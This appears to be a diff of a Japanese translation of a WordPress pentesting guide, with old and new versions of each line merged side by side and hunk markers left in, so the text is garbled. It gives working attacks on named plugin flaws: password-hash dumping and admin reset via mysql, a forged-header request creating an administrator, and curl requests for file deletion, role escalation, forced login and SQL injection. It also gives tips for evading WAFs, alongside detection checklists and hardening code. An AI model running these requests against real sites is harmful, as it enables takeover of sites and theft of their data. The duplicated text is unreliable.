- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を参照してください。**Wordpress Versions 6.X.X, 5.X.X and 4.X.X. に対応し、以下を可能にします:** - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ は WordPress の **Cross-Site Scripting (XSS)** 脆弱性を **Remote Code Execution (RCE)** やその他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細は [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) を確認してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X をサポートし、次を可能にします:
- _**Privilege Escalation:**_ WordPress にユーザを作成します。 - _**Privilege Escalation:**_ WordPress にユーザを作成します。
- _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタムプラグインbackdoorを WordPress にアップロードします。 - _**(RCE) Custom Plugin (backdoor) Upload:**_ カスタム plugin (backdoor) を WordPress にアップロードします。
- _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込みプラグインを編集します。 - _**(RCE) Built-In Plugin Edit:**_ WordPress の組み込み plugin を編集します。
- _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。 - _**(RCE) Built-In Theme Edit:**_ WordPress の組み込みテーマを編集します。
- _**(Custom) Custom Exploits:**_ サードパーティ製 WordPress プラグイン/テーマ向けのカスタム exploit - _**(Custom) Custom Exploits:**_ サードパーティ製 WordPress plugin/テーマ向けのカスタム Exploits
## Post Exploitation ## Post Exploitation
ユーザー名とパスワードを抽出する: ユーザー名とパスワードを抽出:
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
``` ```
adminのパスワードを変更する: admin のパスワードを変更:
```bash ```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
``` ```
## Wordpress Plugins Pentest ## Wordpress Plugins Pentest
### Attack Surface ### 攻撃対象
Wordpressプラグインがどのように機能を公開するかを知ることは、その機能に対する脆弱性を発見するために重要です。以下の箇条書きはプラグインがどのように機能を公開するかを示しており、脆弱なプラグインの例は [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) を参照してください Wordpress プラグインがどのように機能を公開するかを把握することは、その機能に潜む脆弱性を見つける上で重要です。プラグインが機能を公開する方法は以下の箇条書きで確認でき、脆弱なプラグインの例はいくつか [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) にあります
- **`wp_ajax`** - **`wp_ajax`**
プラグインが機能を公開する方法の一つは AJAX ハンドラ経由です。これらにはロジック、authorization、authentication のバグが含まれている可能性があります。さらに、これらの関数は認証および authorization の両方を wordpress nonce の存在に基づくことが多く、**any user authenticated in the Wordpress instance might have**(役割に関係なく) プラグインが機能を公開する方法の一つに、AJAX ハンドラ経由のものがあります。これらはロジックや認可、認証のバグを含む可能性があります。さらに、これらの関数が認証と認可の両方を wordpress nonce の存在に基づいていることがよくあり、その nonce は **Wordpress インスタンスに認証された任意のユーザが持ち得る**(ロールに関係なく)点に注意が必要です
These are the functions that can be used to expose a function in a plugin: これらはプラグイン内で関数を公開するために使われる関数です:
```php ```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
``` ```
**`nopriv` を使用すると、エンドポイントは任意のユーザ(未認証のユーザも含む)からアクセス可能になります。** **`nopriv` の使用により、そのエンドポイントは任意のユーザ(認証されていないユーザでさえ)からアクセス可能になります。**
> [!CAUTION] > [!CAUTION]
> さらに、関数が `wp_verify_nonce` 関数でユーザの認可のみを確認しているだけの場合、その関数は単にユーザがログインしているかどうかを確認しているだけで、通常はユーザの役割をチェックしていません。したがって、権限の低いユーザが高権限の操作にアクセスできる可能性があります。 > さらに、もしその関数がユーザの権限を `wp_verify_nonce` で確認しているだけであれば、`wp_verify_nonce` は単にユーザがログインしていることを確認するだけで、通常はユーザのロールを確認しません。したがって権限の低いユーザが権限の高い操作にアクセスできる可能性があります。
- **REST API** - **REST API**
It's also possible to expose functions from wordpress registering a rest AP using the `register_rest_route` function: また、`register_rest_route` 関数を使用して wordpress に rest AP を登録し、関数を公開することも可能です:
```php ```php
register_rest_route( register_rest_route(
$this->namespace, '/get/', array( $this->namespace, '/get/', array(
@ -364,21 +363,21 @@ $this->namespace, '/get/', array(
) )
); );
``` ```
The `permission_callback` は、指定されたユーザが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。 The `permission_callback` は、与えられたユーザーが API メソッドを呼び出す権限があるかをチェックするコールバック関数です。
**組み込みの `__return_true` 関数が使われている場合、ユーザ権限のチェックを単純にスキップします。** **組み込みの `__return_true` 関数が使われている場合、ユーザー権限チェックは単純にスキップされます。**
- **php ファイルへの直接アクセス** - **PHP ファイルへの直接アクセス**
もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、その機能は任意のユーザによって悪用され得ます。 もちろん、Wordpress は PHP を使ており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能を公開しているプラグインは、任意のユーザーによって悪用され得ます。
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
一部のプラグインは内部統合やリバースプロキシ向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザコンテキストを設定するために使用します。ヘッダが上流コンポーネントによって暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して管理者として権限のある REST ルートにアクセスできます。 一部のプラグインは内部統合やリバースプロキシ向けに “trusted header” のショートカットを実装し、そのヘッダを使って REST リクエストの現在のユーザコンテキストを設定します。上流コンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して管理者として権 REST ルートにアクセスできます。
- Impact: 未認証のまま admin に権限昇格 — core users REST route を介して新しい administrator を作成することで達成される - 影響: 認証なしでコアの users REST ルートを通じて新しい管理者を作成し、管理者権限に昇格される可能性があります
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (ユーザ ID 1 を強制、通常は最初の administrator アカウント) - 例のヘッダ: `X-Wcpay-Platform-Checkout-User: 1`(ユーザー ID を 1 に強制、通常は最初の管理者アカウント)
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. - 悪用されるルート: `POST /wp-json/wp/v2/users` に高い権限の role 配列を含めて
PoC PoC
```http ```http
@ -392,40 +391,40 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]} {"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
``` ```
なぜ動作するか Why it works
- プラグインがクライアント制御のヘッダーを認証状態にマップし、権限チェックをスキップする - プラグインはクライアント制御のヘッダを認証状態にマッピングし、権限チェックをスキップします
- WordPress core はこのルートに `create_users` 権限を期待するが、プラグインのハックはヘッダーから直接 current user コンテキストを設定することでこれをバイパスす - WordPress core はこのルートに `create_users` capability を期待します;プラグインのハックはヘッダから直接現在のユーザーコンテキストを設定することでこれをバイパスします。
期待される成功指標 Expected success indicators
- HTTP 201 と作成されたユーザーを記述する JSON ボディ。 - 作成されたユーザーを記述する JSON ボディを伴う HTTP 201
- `wp-admin/users.php`新しい管理者ユーザーが表示される。 - 新しい管理者ユーザーが `wp-admin/users.php` に表示される。
検出チェックリスト Detection checklist
- `getallheaders()`, `$_SERVER['HTTP_...']`、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダーSDK例: `wp_set_current_user()`, `wp_set_auth_cookie()`をgrepす - ユーザーコンテキストを設定するためにカスタムヘッダを読み取る `getallheaders()``$_SERVER['HTTP_...']`、またはベンダーSDK例: `wp_set_current_user()`, `wp_set_auth_cookie()`)を grep で探す。
- 特権付きコールバックが堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダーに依存していないか REST 登録を確認する。 - 堅牢な `permission_callback` チェックを欠き、代わりにリクエストヘッダに依存している特権コールバックについて REST 登録をレビューする。
- REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。 - REST ハンドラ内でヘッダ値だけでゲートされている core のユーザー管理関数(`wp_insert_user`, `wp_create_user`)の使用を探す。
ハードニング Hardening
- 認証や認可をクライアント制御のヘッダーから派生させない。 - 認証や認可をクライアント制御のヘッダから導出してはいけない。
- reverse proxy が識別情報を注入する必要がある場合は、プロキシで信頼を終了しインバウンドのコピーを削除する(例: エッジで `unset X-Wcpay-Platform-Checkout-User`)、その後署名付きトークンを渡してサーバー側で検証する。 - リバースプロキシが識別情報を注入しなければならない場合は、プロキシで信頼を終端して着信コピーを削除する(例: エッジで `unset X-Wcpay-Platform-Checkout-User`)、その上で署名付きトークンを渡してサーバ側で検証する。
- 特権操作を行う REST ルートでは `current_user_can()` チェックと厳格な `permission_callback` を要求する(`__return_true` を使わない)。 - 特権操作を行う REST ルートでは `current_user_can()` チェックと厳密な `permission_callback` を要求する(`__return_true` を使ってはいけない)。
- ヘッダーによる“impersonation”よりもファーストパーティの認証cookies、application passwords、OAuthを優先する。 - ヘッダによる「impersonation」よりも、first-party 認証cookies、application passwords、OAuthを優先する。
参考: このページ末のリンクを参照してください。公開事例とより広い分析があります。 References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress のテーマやプラグインは `wp_ajax_``wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開することが多い。**_nopriv_** バリアントが使われると、**コールバックが認証されていない訪問者から到達可能になる**ため、敏感な操作には追加で次を実装する必要がある: WordPress のテーマやプラグインはしばしば `wp_ajax_``wp_ajax_nopriv_` フックを通じて AJAX ハンドラを公開します。**_nopriv_** バリアントが使用されると **コールバックは未認証の訪問者から到達可能になる** ため、任意の機微な操作では追加で以下を実装する必要があります:
1. 権限チェック(例: `current_user_can()` または最低で`is_user_logged_in()`)、および 1. **権限チェック**(例: `current_user_can()`、少なくと`is_user_logged_in()`)、および
2. `check_ajax_referer()` / `wp_verify_nonce()` による CSRF nonce の検証、および 2. `check_ajax_referer()` / `wp_verify_nonce()` によって検証される **CSRF nonce**、および
3. 厳格な入力のサニタイズ/検証。 3. **厳格な入力のサニタイズ/検証**
Litho マルチパーパステーマ (< 3.1) *Remove Font Family* 機能でこれら 3 つの制御を忘れ結果として次のコード簡略化を出荷した: The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php ```php
function litho_remove_font_family_action_data() { function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) { if ( empty( $_POST['fontfamily'] ) ) {
@ -444,13 +443,15 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
``` ```
* **未認証アクセス** `wp_ajax_nopriv_` フックが登録されています。 Issues introduced by this snippet:
* **No nonce / capability check** 任意の訪問者がこのエンドポイントにアクセスできます。
* **No path sanitisation** ユーザー制御の `fontfamily` 文字列がフィルタリングなしにファイルシステムパスに連結されており、古典的な `../../` トラバーサルを許します。 * **Unauthenticated access** `wp_ajax_nopriv_` フックが登録されている。
* **No nonce / capability check** 任意の訪問者がエンドポイントにアクセスできる。
* **No path sanitisation** ユーザー制御の `fontfamily` 文字列がフィルタリングされずにファイルシステムパスに連結され、古典的な `../../` トラバーサルを許している。
#### 悪用 #### 悪用
攻撃者は単一の HTTP POST リクエストを送ることで、**uploads ベースディレクトリ以下**(通常 `<wp-root>/wp-content/uploads/`)の任意のファイルまたはディレクトリを削除できます 攻撃者は単一の HTTP POST リクエストを送信するだけで、**uploads base directory 以下**(通常は `<wp-root>/wp-content/uploads/`)の任意のファイルやディレクトリを削除できる
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \ -d 'action=litho_remove_font_family_action_data' \
@ -462,11 +463,11 @@ Other impactful targets include plugin/theme `.php` files (to break security plu
#### 検出チェックリスト #### 検出チェックリスト
* ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。 * ファイルシステムヘルパー(`copy()`, `unlink()`, `$wp_filesystem->delete()` など)を呼び出す `add_action( 'wp_ajax_nopriv_...')` コールバック。
* パスに未サニタイズのユーザー入力を連結している箇所(`$_POST`, `$_GET`, `$_REQUEST` を探す)。 * サニタイズされていないユーザー入力をパスに連結している箇所(`$_POST`, `$_GET`, `$_REQUEST` を探す)。
* `check_ajax_referer()``current_user_can()`/`is_user_logged_in()` の欠如 * `check_ajax_referer()``current_user_can()`/`is_user_logged_in()` が使われていない
#### ハードニング #### 強化
```php ```php
function secure_remove_font_family() { function secure_remove_font_family() {
if ( ! is_user_logged_in() ) { if ( ! is_user_logged_in() ) {
@ -486,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration // 🔒 NO wp_ajax_nopriv_ registration
``` ```
> [!TIP] > [!TIP]
> **Always** ディスク上の書き込み/削除操作を privileged と見なし、次を二重に確認してください: > **常に** ディスク上のいかなる write/delete 操作でも特権として扱い、次を再確認してください:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`). > • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
--- ---
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") ### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ例: `$_REQUEST['reset-for']`とプラグイン管理のリストのみに依存し、capabilities の確認や有効な nonce をチェックしない場合、これは垂直的な privilege escalation になります。 多くのプラグインは、元のロールを user meta に保存して後で復元できるようにする 'view as role' または一時的なロール切り替え機能を実装しています。復元処理がリクエストパラメータのみ(例: `$_REQUEST['reset-for']`およびプラグイン管理のリストに依存し、capabilities チェックや有効な nonce を確認しない場合、これは vertical privilege escalation となります。
実例は Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) 見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元しましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に、`current_user_can()` チェックも nonce 検証も行っていませんでした: 際の例は Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) 見つかりました。reset ブランチは、ユーザー名が内部配列 `$options['viewing_admin_as_role_are']` に存在する場合に `reset-for=<username>` に基づいてロールを復元していましたが、現在のロールを削除して user meta `_asenha_view_admin_as_original_roles` から保存されたロールを再追加する前に、`current_user_can()` チェックも nonce 検証も行っていませんでした
```php ```php
// Simplified vulnerable pattern // Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) { if ( isset( $_REQUEST['reset-for'] ) ) {
@ -512,17 +513,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
``` ```
なぜ悪用可能か なぜ悪用可能か
- `$_REQUEST['reset-for']` とプラグインのオプションをサーバー側の認可なしに信頼している。 - サーバー側の認可なしに`$_REQUEST['reset-for']`とプラグインのオプションを信頼している。
- ユーザーが以前 `_asenha_view_admin_as_original_roles`より高い権限を保存されていて降格されていた場合、リセットパスにアクセスすることでそれらを復元できる。 - ユーザーが以前 `_asenha_view_admin_as_original_roles`高い権限を保存していてダウングレードされていた場合、リセットパスにアクセスすることでそれらを復元できる。
- 一部のデプロイでは、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可不備)。 - 一部の導入環境では、認証済みの任意のユーザーが `viewing_admin_as_role_are` にまだ残っている別のユーザー名のリセットをトリガーできる(認可不備)。
攻撃の前提条件 Attack prerequisites
- 当該機能が有効になっている脆弱なプラグインのバージョン。 - 脆弱なプラグインのバージョンで該当機能が有効になっていること
- 対象アカウントが、以前の使用から user meta に古い高権限ロールを保持している - ターゲットアカウントが以前の利用で user meta に古い高権限 role を保持していること
- 任意の認証済みセッション;リセットフローに nonce/capability が欠如している - 任意の認証済みセッション。reset flow に nonce/capability が欠落していること
悪用(例) Exploitation (example)
```bash ```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path), # While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter. # hit any route that executes the role-switcher logic and include the reset parameter.
@ -530,36 +531,36 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
curl -s -k -b 'wordpress_logged_in=...' \ curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>' 'https://victim.example/wp-admin/?reset-for=<your_username>'
``` ```
脆弱なビルドでは、これは現在のロールを削除し、保存されている元のロール(例:`administrator`)を再追加します。これにより、実質的に権限が昇格します。 脆弱なビルドでは、これにより現在のロールが削除され、保存されていた元のロール(例: `administrator`)が再追加され、実質的に権限が昇格します。
Detection checklist Detection checklist
- ユーザーメタに“元のロール”を永続化するロール切替機能を探す(例:`_asenha_view_admin_as_original_roles` - ユーザーメタに「original roles」を永続化するロール切替機能例: `_asenha_view_admin_as_original_roles`)を探す
- リセット/復元パスを特定する: - Identify reset/restore paths that:
- ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取っている。 - ユーザー名を `$_REQUEST` / `$_GET` / `$_POST` から読み取る。
- `current_user_can()` と `wp_verify_nonce()` / `check_admin_referer()` なしで `add_role()` / `remove_role()` を介してロールを変更している。 - `add_role()` / `remove_role()``current_user_can()``wp_verify_nonce()` / `check_admin_referer()` なしで呼んでロールを変更する。
- アクターの権限ではなく、プラグインのオプション配列(例:`viewing_admin_as_role_are`)に基づいて認可している。 - アクターの capabilities の代わりに、プラグインのオプション配列(例: `viewing_admin_as_role_are`)に基づいて認可する。
Hardening Hardening
- 状態を変更するすべての分岐で権限チェックを強制する(例:`current_user_can('manage_options')` もしくはより厳格なもの)。 - 状態を変更するすべての分岐で capability チェックを強制する(例: `current_user_can('manage_options')` またはそれ以上の厳格なチェック)。
- すべてのロール/権限変更に対して nonce を要求し、検証する`check_admin_referer()` / `wp_verify_nonce()` - すべてのロール/権限変更に対して nonce を要求し、検証する: `check_admin_referer()` / `wp_verify_nonce()`
- リクエストで渡されたユーザー名を決して信頼しない。認証済みアクターと明確なポリシーに基づき、ターゲットユーザーをサーバー側で解決する。 - リクエストで渡されたユーザー名を決して信頼しない。認証済みのアクターと明示的なポリシーに基づいてサーバー側で対象ユーザーを解決する。
- プロファイル/ロール更新時に“元のロール”の状態を無効化し、古い高権限が復元されるのを防ぐ: - プロフィール/ロールの更新時に「original roles」状態を無効化し、古い高権限の復元を防ぐ:
```php ```php
add_action( 'profile_update', function( $user_id ) { add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' ); delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 ); }, 10, 1 );
``` ```
- 一時的なロール切り替えでは、状態を最小限に抑え、時間制限付きで権限チェックされたトークンを使用することを検討してください。 - 一時的なロール切り替えには、最小限の状態を保持し、時間制限付きで capability によって保護されたトークンを使用することを検討してください。
--- ---
### 認証されていない privilege escalation via cookietrusted user switching on public `init` (Service Finder “sf-booking”) ### Unauthenticated privilege escalation via cookietrusted user switching on public init (Service Finder “sf-booking”)
一部のプラグインは user-switching ヘルパーを public `init` フックに結び付け、クライアント制御の cookie から識別を導出します。もしコードが認証、capability、および有効な nonce を検証せずに `wp_set_auth_cookie()` を呼び出していると、任意の未認証訪問者が任意のユーザー ID として強制ログインできます。 一部のプラグインは user-switching helpers を public の `init` フックに接続し、クライアント制御の cookie から識別を導出します。コードが認証、capability、および有効な nonce の検証なしに `wp_set_auth_cookie()` を呼び出すと、認証されていない任意の訪問者が任意のユーザーIDとして強制的にログインさせることができます。
典型的な脆弱なパターンService Finder Bookings ≤ 6.1 から簡略化): 典型的な脆弱なパターンService Finder Bookings ≤ 6.1 簡略化):
```php ```php
function service_finder_submit_user_form(){ function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -590,11 +591,11 @@ wp_die('No original user found to switch back to.');
``` ```
なぜ悪用可能か なぜ悪用可能か
- 公開された `init` フックにより、ハンドラが unauthenticated users から到達可能になる(`is_user_logged_in()` ガードがない)。 - 公開された `init` フックにより、ハンドラが未認証ユーザーから到達可能になる(`is_user_logged_in()` ガードがない)。
- 識別はクライアントで変更可能な cookie (`original_user_id`) から派生している。 - 識別はクライアントが変更可能な cookie`original_user_id`)から導出されている。
- 直接 `wp_set_auth_cookie($uid)` を呼び出すことで、要求者をそのユーザーとしてログインさせるが、権限 (capability) や nonce のチェックが行われない。 - `wp_set_auth_cookie($uid)`直接呼び出すことで、要求者をそのユーザーとしてログインさせてしまい、権限や nonce のチェックが行われない。
悪用(unauthenticated 悪用(未認証
```http ```http
GET /?switch_back=1 HTTP/1.1 GET /?switch_back=1 HTTP/1.1
Host: victim.example Host: victim.example
@ -604,32 +605,32 @@ Connection: close
``` ```
--- ---
### WAF considerations for WordPress/plugin CVEs ### WAF に関する WordPress/plugin CVEs の考慮事項
Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics. Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many highimpact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
Offensive notes 攻撃側の注意点
- クリーンな payloads で plugin 固有のエンドポイントを狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. - プラグイン固有のエンドポイントをクリーンなペイロードで狙う: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, ショートコード。
- まず unauth パスを試す (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes)。デフォルトの payloads はしばしば難読化なしで成功する。 - まずは未認証パスを試すAJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes。デフォルトのペイロードはしばしば難読化なしで成功する。
- 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. - 典型的な高影響ケース権限昇格broken access control、任意ファイルのアップロード/ダウンロード、LFI、open redirect。
Defensive notes 防御側の注意点
- plugin CVEs を保護するために汎用 WAF シグネチャに頼らない。アプリケーションレイヤーで脆弱性固有の virtual patches を実装するか、迅速に更新する - plugin CVEs を保護するために一般的な WAF シグネチャに頼らない。アプリケーション層での脆弱性特化のバーチャルパッチを実装するか、迅速にアップデートすること
- コード内では negative regex フィルタよりも、positive-security チェックcapabilities、nonces、厳格な入力検証を優先する。 - コード内ではネガティブな正規表現フィルタよりも、ポジティブセキュリティチェックcapabilities、nonces、厳格な入力検証を優先する。
## WordPress Protection ## WordPress の保護
### Regular Updates ### 定期的なアップデート
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php: WordPress、plugins、themes が最新であることを確認する。また、自動更新が wp-config.php で有効になっていることを確認する:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' );
``` ```
Also, **only install trustable WordPress plugins and themes**. また、**信頼できる WordPress プラグインとテーマのみをインストールしてください**。
### セキュリティプラグイン ### セキュリティプラグイン
@ -640,14 +641,15 @@ Also, **only install trustable WordPress plugins and themes**.
### **その他の推奨事項** ### **その他の推奨事項**
- デフォルトの **admin** ユーザーを削除する - デフォルトの **admin** ユーザーを削除する
- 強力な**パスワード**と**2FA**を使用する - **強力なパスワード** **2FA** を使用する
- 定期的にユーザーの**権限**を**見直す** - 定期的にユーザーの **権限** **見直す**
- **ログイン試行回数を制限**して Brute Force 攻撃を防ぐ - Brute Force 攻撃を防ぐために **ログイン試行回数を制限する**
- **`wp-admin.php`** ファイル名を変更し、内部または特定のIPアドレスからのみアクセスを許可する。 - **`wp-admin.php`** ファイルを変更し、内部または特定の IP アドレスからのみアクセスを許可する。
### 検証不足による未認証の SQL Injection (WP Job Portal <= 2.3.2)
WP Job Portal の recruitment プラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で次の脆弱なコードを実行します: ### 認証不要の SQL Injection検証不足 (WP Job Portal <= 2.3.2)
WP Job Portal リクルートプラグインは **savecategory** タスクを公開しており、最終的に `modules/category/model.php::validateFormData()` 内で次の脆弱なコードを実行します:
```php ```php
$category = WPJOBPORTALrequest::getVar('parentid'); $category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' '; $inquery = ' ';
@ -657,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM " $query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
``` ```
Issues introduced by this snippet: このスニペットによって導入された問題点:
1. **未サニタイズのユーザー入力** `parentid` は HTTP リクエストから直接取得されます。 1. **未サニタイズのユーザー入力** `parentid` は HTTP リクエストからそのまま取得されています。
2. **WHERE内での文字列連結** `is_numeric()` / `esc_sql()` / prepared statement が使われていません。 2. **WHERE clause 内での文字列連結** `is_numeric()` / `esc_sql()` / prepared statement が使われていません。
3. **認証不要で到達可能** アクションは `admin-post.php` 経由で実行されますが、設けられている唯一のチェックは **CSRF nonce**`wp_verify_nonce()`で、任意の訪問者がショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページから取得できます。 3. **認証不要で到達可能** アクションは `admin-post.php` 経由で実行されますが、設けられているチェックは **CSRF nonce**`wp_verify_nonce()`のみで、訪問者はショートコード `[wpjobportal_my_resumes]` を埋め込んだ公開ページからそれを取得できます。
#### 悪用 #### 悪用
1. 新しい nonce を取得: 1. 新しい nonce を取得する:
```bash ```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
``` ```
2. `parentid` を悪用して任意の SQL を注入: 2. `parentid` を悪用して任意の SQL を注入する:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \ -d 'task=savecategory' \
@ -677,20 +679,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \ -d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id=' -d 'cat_title=pwn' -d 'id='
``` ```
レスポンスは注入したクエリの結果を開示するか、データベースを変更し、SQLi を実証します。 レスポンスは注入されたクエリの結果を公開するか、データベースを変更し、SQLi を立証します。
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) ### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
別のタスク、**downloadcustomfile** は、訪問者が path traversal を悪用してディスク上の **任意のファイル** をダウンロードできるようにしていました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります: 別のタスクである **downloadcustomfile** は、path traversal を介して訪問者にディスク上の**任意のファイル**をダウンロードさせることを許していました。脆弱なシンクは `modules/customfield/model.php::downloadCustomUploadedFile()` にあります:
```php ```php
$file = $path . '/' . $file_name; $file = $path . '/' . $file_name;
... ...
echo $wp_filesystem->get_contents($file); // raw file output echo $wp_filesystem->get_contents($file); // raw file output
``` ```
`$file_name` は攻撃者が制御しており、**サニタイズされずに**連結されます。再度、唯一の障壁は、resume ページから取得できる**CSRF nonce**です。 `$file_name` は攻撃者により制御され、**サニタイズされずに**連結されます。 再度、唯一の防御は履歴書ページから取得できる **CSRF nonce** です。
#### 悪用 #### Exploitation
